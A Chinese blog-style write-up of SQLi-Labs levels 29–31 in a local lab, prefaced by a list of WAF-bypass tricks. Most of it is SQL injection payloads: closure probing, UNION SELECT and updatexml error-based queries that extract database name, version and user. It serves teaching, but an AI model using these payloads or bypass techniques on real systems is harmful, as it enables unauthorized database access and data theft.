SqliLab

mac2024-07-30  54

文章目录

1. SqliLab_Mysql_Injection详解_字符型注入(十)1.1. SQL注入_WAF绕过1.2. 原理1.3. 饶过技巧1.3.1. 使用特殊符号重复组合1.3.2. 利用容器特性 2. SqliLab关卡(包含29,30,31)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)2.1. SqliLab-29(WAF绕过(没有配置WAF环境)(单引号闭合)):2.1.1. 初始界面2.1.2. 判断注入点(关键步骤)2.1.3. 使用UNION联合查询获取数据库信息2.1.4. 使用报错注入获取数据库信息 2.2. SqliLab-30(WAF绕过(没有配置WAF环境)(双引号闭合)):2.2.1. 初始界面2.2.2. 判断注入点(关键步骤)2.2.3. 使用UNION联合查询获取数据库信息 2.3. SqliLab-31(WAF绕过(没有配置WAF环境)(")闭合)):2.3.1. 初始界面2.3.2. 判断注入点(关键步骤)2.3.3. 使用UNION联合查询获取数据库信息2.3.4. 使用报错注入获取数据库信息 3. 总结

1. SqliLab_Mysql_Injection详解_字符型注入(十)

1.1. SQL注入_WAF绕过
1.2. 原理

Web应用防火墙(Web Application Firewall, 简称 WAF)基于云安全大数据能力,用于防御SQL注入、XSS跨站脚本、常见Web服务器插件漏洞、木马上传、非授权核心资源访问等OWASP常见攻击,并过滤海量恶意CC攻击,避免您的网站资产数据泄露,保障网站的安全与可用性。

1.3. 饶过技巧
1.3.1. 使用特殊符号重复组合

EG(注释):

# -- -- - //5.6.12特性,需要加空格 --+ // /**/ //c风格注释 /**//**/ //多个注释 /*letmetest*/ ; /!00000union/ //假如mysql版本号是5.6.17则00000/10000/../50000都可以用

EG(科学记数法):

> id=0e1union select

EG(空白字符):

SQLite3 0A 0D 0C 09 20 MySQL5 09 0A 0B 0C 0D A0 20 PosgresSQL 0A 0D 0C 09 20 Oracle 11g 00 0A 0D 0C 09 20 MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

EG(回车换行):

1.3.2. 利用容器特性
iis+asp的环境可能会吞掉%(f%rom->from)造成注入;iis支持unicode解析,当我们请求的url存在unicode字符串的话iis会自动将其转换,但waf可能不会拦截造成注入;畸形协议/请求 asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交方式; php+apache解析协议除了get/post外随便定义协议也可能过,PHP解析multipart请求时以逗号作为边界;多次URL编码 base64 htmlencode unicode php serializeHPP - http重复参数污染,id=1&id=2&id=3在POST请求中进行GET型注入输入超长数据包,构造垃圾数据

2. SqliLab关卡(包含29,30,31)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)

2.1. SqliLab-29(WAF绕过(没有配置WAF环境)(单引号闭合)):
2.1.1. 初始界面

2.1.2. 判断注入点(关键步骤)

观察初始界面,好像只知道是GET型数据传输,输入参数为(id),最后好像还有WAF防御(实际上是没有的,没有配置相关的环境),但是还是要先进行注入点的判断; 对参数(id)进行注入点判断; EG:

http://192.168.1.104/sql/Less-29/?id=1 and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-29/?id=1 and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(')代替()进行构造; http://192.168.1.104/sql/Less-29/?id=1' and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-29/?id=1' and 1=2 --+ //服务器返回页面错误(预期错误),参数(id)存在注入,闭合字符为(');

判断是否存在SQL语句报错提示 EG:

http://192.168.1.104/sql/Less-29/?id=1'))) and 1=1 --+ //服务器返回页面错误,页面显示有SQL语句报错提示; //存在SQL语句报错提示

经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’)),同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息;

2.1.3. 使用UNION联合查询获取数据库信息

EG:

... http://192.168.1.104/sql/Less-29/?id=1' order by 1,2,3,4 --+ //服务器返回页面错误,猜解字段数为(3),使用UNION联合查询获取信息; http://192.168.1.104/sql/Less-29/?id=1' union select 1,concat('|',database(),'|',version(),'|',user(),'|'),2 --+ //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...

2.1.4. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-29/?id=0'and(updatexml(1,concat('|',database(),'|',version(),'|',user(),'|'),1))and'1'='1 //服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...

获取其他信息的方法如上面示例的一样,至此,SqliLab-29结束(实际没有WAF防御);

2.2. SqliLab-30(WAF绕过(没有配置WAF环境)(双引号闭合)):
2.2.1. 初始界面

2.2.2. 判断注入点(关键步骤)

观察初始界面,好像只知道是GET型数据传输,输入参数为(id),最后好像还有WAF防御(实际上是没有的,没有配置相关的环境),但是还是要先进行注入点的判断; 对参数(id)进行注入点判断; EG:

http://192.168.1.104/sql/Less-30/?id=1 and 1=1 --+ //服务器返回页面正确(预期正确)(有回显信息),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-30/?id=1 and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(')代替()进行构造; http://192.168.1.104/sql/Less-30/?id=1' and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-30/?id=1' and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(")代替(')进行构造; http://192.168.1.104/sql/Less-30/?id=1" and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-30/?id=1" and 1=2 --+ //服务器返回页面错误(预期错误),参数(id)存在注入,闭合字符为(");

判断是否存在SQL语句报错提示 EG:

http://192.168.1.104/sql/Less-30/?id=1"))) and 1=1 --+ //服务器返回页面错误,无SQL语句报错提示,尝试使用("$#@))代替("))))进行构造; http://192.168.1.104/sql/Less-30/?id=1"$#@) and 1=1 --+ //服务器返回页面错误,无SQL语句报错提示; ... //经过测试,判断不存在SQL语句报错提示

经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’)),同时发现服务器返回页面存在回显,可以考虑使用UNION联合查询的方式来获取数据库信息;

2.2.3. 使用UNION联合查询获取数据库信息

EG:

... http://192.168.1.104/sql/Less-30/?id=1" order by 1,2,3,4 --+ //服务器返回页面错误,猜解字段数为(3),使用UNION联合查询获取信息; http://192.168.1.104/sql/Less-30/?id=0" union select 1,concat('|',database(),'|',version(),'|',user(),'|'),2 --+ //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...

获取其他信息的方法如上面示例的一样,至此,SqliLab-30结束(实际没有WAF防御);

2.3. SqliLab-31(WAF绕过(没有配置WAF环境)(")闭合)):
2.3.1. 初始界面

2.3.2. 判断注入点(关键步骤)

观察初始界面,好像只知道是GET型数据传输,输入参数为(id),最后好像还有WAF防御(实际上是没有的,没有配置相关的环境),但是还是要先进行注入点的判断; 对参数(id)进行注入点判断; EG:

http://192.168.1.104/sql/Less-31/?id=1 and 1=1 --+ //服务器返回页面正确(预期正确)(有回显信息),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1 and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(')代替()进行构造; http://192.168.1.104/sql/Less-31/?id=1' and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1' and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(")代替(')进行构造; http://192.168.1.104/sql/Less-31/?id=1" and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1" and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用())代替(')进行构造; http://192.168.1.104/sql/Less-31/?id=1) and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1) and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(])代替())进行构造; http://192.168.1.104/sql/Less-31/?id=1] and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1] and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(})代替(])进行构造; http://192.168.1.104/sql/Less-31/?id=1} and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1} and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用('')代替(})进行构造; http://192.168.1.104/sql/Less-31/?id=1'' and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1'' and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用('")代替('')进行构造; http://192.168.1.104/sql/Less-31/?id=1'" and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用('))代替('")进行构造; http://192.168.1.104/sql/Less-31/?id=1') and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1') and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用('])代替('))进行构造; http://192.168.1.104/sql/Less-31/?id=1'] and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1'] and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用('})代替('])进行构造; http://192.168.1.104/sql/Less-31/?id=1'} and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1'} and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用("')代替('})进行构造; http://192.168.1.104/sql/Less-31/?id=1"' and 1=1 --+ //服务器返回页面错误(预期正确),尝试使用("")代替("')进行构造; http://192.168.1.104/sql/Less-31/?id=1"" and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1"" and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用("))代替("")进行构造; http://192.168.1.104/sql/Less-31/?id=1") and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1") and 1=2 --+ //服务器返回页面错误(预期错误),参数(id)存在注入,闭合字符为("));

判断是否存在SQL语句报错提示 EG:

http://192.168.1.104/sql/Less-31/?id=1"))) and 1=1 --+ //服务器返回页面错误,有SQL语句报错提示; //经过测试,判断存在SQL语句报错提示

经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’)),同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息;

2.3.3. 使用UNION联合查询获取数据库信息

EG:

... http://192.168.1.104/sql/Less-31/?id=1") order by 1,2,3,4 --+ //服务器返回页面错误,猜解字段数为(3),使用UNION联合查询获取信息; http://192.168.1.104/sql/Less-31/?id=0") union select 1,concat('|',database(),'|',version(),'|',user(),'|'),2 --+ //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...

2.3.4. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-31/?id=1") and updatexml(1,concat('|',database(),'|',version(),'|',user(),'|'),1) --+ //服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...

获取其他信息的方法如上面示例的一样,至此,SqliLab-31结束(实际没有WAF防御);

3. 总结

由于本机上并没有配置WAF相关的环境,对于一些绕过WAF防御的策略主要还是集中在文章开始的绕过技巧中说明,而且可以看到,没有配置WAF,寻找注入点和构造payload获取数据库的信息相对比较容易,最后提一下的就是判断注入点的思路,一开始还是要寻找过滤点的,找到了,然后用其他策略去绕过,然后再判断参数是否存在注入,判断成功后再构造payload获取数据库信息。

[如有错误,请指出,拜托了<( _ _ )> !!!]

[参考文档] (从容:我的WafBypass之道(SQL注入篇)https://xz.aliyun.com/t/368)

最新回复(0)